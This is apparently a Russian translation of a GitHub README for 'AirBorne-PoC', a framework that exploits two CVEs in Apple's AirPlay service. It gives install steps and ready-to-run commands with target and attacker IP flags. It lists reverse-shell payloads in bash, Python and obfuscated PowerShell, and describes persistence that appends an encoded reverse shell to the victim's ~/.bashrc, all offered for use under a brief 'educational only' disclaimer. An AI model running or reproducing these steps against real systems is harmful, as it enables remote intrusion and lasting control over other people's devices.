ekomssavior/airborne-pocpoc для CVE-2025-24252 и CVE-2025-24132
Полный PoC-фреймворк для CVE-2025-24252 и CVE-2025-24132
Автор ekomsSavior |
AirBorne — это комбинированный фреймворк PoC, нацеленный на две серьезные уязвимости в сервисе Apple AirPlay. Он включает в себя полный триггер сбоя и рабочую обратную оболочку с опциональной персистентностью, слушателем и несколькими форматами полезных нагрузок — всё в одном скрипте.
Ищете оригинальную версию?
Устаревшая версия все еще доступна в веткеlegacyэтого репозитория.
Чтобы переключиться на нее:
git checkout legacy
.bashrc (Linux)git clone https://github.com/ekomsSavior/AirBorne-PoC.git
cd AirBorne-PoC
sudo apt update
sudo apt install -y python3-scapy netcat
Единственный скрипт airborne.py включает оба PoC и всю логику:
--exploit--payload--persistentsudo python3 airborne.py --exploit 24252 --interface wlan0
Требуется интерфейс в режиме монитора.
Запуск полного эксплойта с оболочкой bash по умолчанию:
sudo python3 airborne.py --exploit 24132 --target 192.168.1.42 --attacker 192.168.1.99
Выберите оболочку Python вместо этого:
sudo python3 airborne.py --exploit 24132 --target 192.168.1.42 --attacker 192.168.1.99 --payload python
Включите реальную персистентность на целях Linux:
sudo python3 airborne.py --exploit 24132 --target 192.168.1.42 --attacker 192.168.1.99 --persistent
Только инъекция команд оболочки:
sudo python3 airborne_bash_command_injector.py --exploit 24132 --target 192.168.1.42 --command "command"
| Полезная нагрузка | Описание |
|---|---|
bash | Обратная оболочка bash по умолчанию через TCP |
python | Обратная оболочка на Python с использованием socket и pty |
powershell | Полная полезная нагрузка RCE для Windows PowerShell (обфусцирована) |
При использовании --persistent скрипт добавит закодированную полезную нагрузку обратной оболочки в:
~/.bashrc
Это гарантирует, что оболочка будет возвращена вам каждый раз, когда пользователь входит в систему или запускает терминал.
base64 и доставляются после переполнения буфераЭтот проект предназначен только для образовательных, этических и авторизованных исследований.
Несанкционированная эксплуатация систем незаконна и неэтична.